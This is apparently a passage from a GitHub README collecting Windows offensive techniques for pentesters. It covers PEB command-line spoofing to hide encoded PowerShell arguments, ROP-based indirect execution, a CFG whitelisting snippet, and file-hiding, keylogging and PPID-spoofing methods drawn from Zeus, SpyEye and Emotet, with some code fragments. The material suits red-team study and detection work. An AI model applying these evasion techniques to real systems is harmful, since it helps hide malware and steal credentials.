    printf("\n Success! Task successfully registered. " );

    //  Clean up.
    return 0;

Command line spoofing

Works perfectly even with sysmon/process hacker monitoring; it enables the ability to hide your command args, which can be useful in pentest/red team ops (powershell -enc .....)

To achieve that objective, you can spawn a new process with "legit" command args in supended mode, then edit these args directly in PEB.

Poc :

Misc Stuff

x64 Calling Convention

  • First 4 integer arguments are passed in registers RCX, RDX, R8, and R9.
  • Additional arguments are pushed onto the stack.
  • The return address is followed by a 32-byte area reserved for RCX, RDX, R8, and R9.
  • Local variables and non-volatile registers are stored above the return address.
  • RBP is not used to reference local variables/function arguments, and RSP remains constant throughout the function.


  • If a function has a variable number of arguments, it must use the stack to pass them
  • If the return value is a structure, then the caller is responsible for allocating space for the return value and passing a pointer to that space as the first argument
  • The callee is responsible for preserving the values of the RBX, RBP, and R12R15 registers, but may freely modify the other registers
  • The stack is aligned to a 16-byte boundary at the call site
  • The callee is responsible for restoring the stack pointer (RSP) to its original value before returning

Indirect Execution

Indirect Execution here refers to a ROP to achieve the execution of some tasks, you will need to add parameters to the right register, you must understand x64 calling convention for that.

  • ROP with CONTEXT structure will need RtlCaptureContext to retrieve the current context and NtContinue to continue the execution of the ROP with CONTEXT struct as parameter filled with the right function arguments to the right registers. You can also build your ROP in assembly if you want.

CFG Bypass with SetProcessValidCallTargets

This is not a real bypass but it'll whitelist the function you're using in your ROP (i.e. NtContinue)


Cfg.Offset = ( ULONG_PTR )pAddress - ( ULONG_PTR )Mbi.BaseAddress;

SetProcessValidCallTargets( ( HANDLE )-1,  Mbi.BaseAddress, Mbi.RegionSize, 1, &Cfg );

Malware/Sophisticated techniques

Emotet PPID Spoofing

This technique has been discovered in the well-known malware Emotet. To spawn a new powershell process (intented to execute some payload), it use the COM api with a WMI instance. With this trick, the powershell process is spawned as a child process of the WMIPrvSE process, which far less suspicious than be spawning by a suspicious exe or even a Word file.

Zeus Malware Hidden Files

The well-know Zeus malware use some quite ingenious trick to hide its logs (keystrokes, password ,etc) in the compromised system. It hooks the NtQueryDirectoryFile() function to filter displayed results.

typedef struct _FILE_NAMES_INFORMATION {
 ULONG NextEntryOffset;
 ULONG FileIndex;
 ULONG FileNameLength;
 WCHAR FileName[1];

 if (file_matches)

 // Check for end of list
 if (pCurrentFileNames->NextEntryOffset == 0)
 // Hide current file
 if (pPrev)
 pPrevFileNames->NextEntryOffset = 0;

Source :

SpyEye keyloger hooking technique

SpyEye malware hooks TranslateMessage() function to save keystrokes : the hook procedure use GetKeyboardState function to add the typed char to a 20000 bytes buffer.

Source :

Wannacry KillSwitch

Wannacry ransomware used a killswitch URL which was resolved before the execution of the main payload. After this domaine has been registred, all wannacry samples has been disabled. This technique was related here : Fun fact: this domain was in clear string, without any obfuscation. Quite funny:)


Win32 and Kernel abusing techniques for pentesters







No releases published


No packages published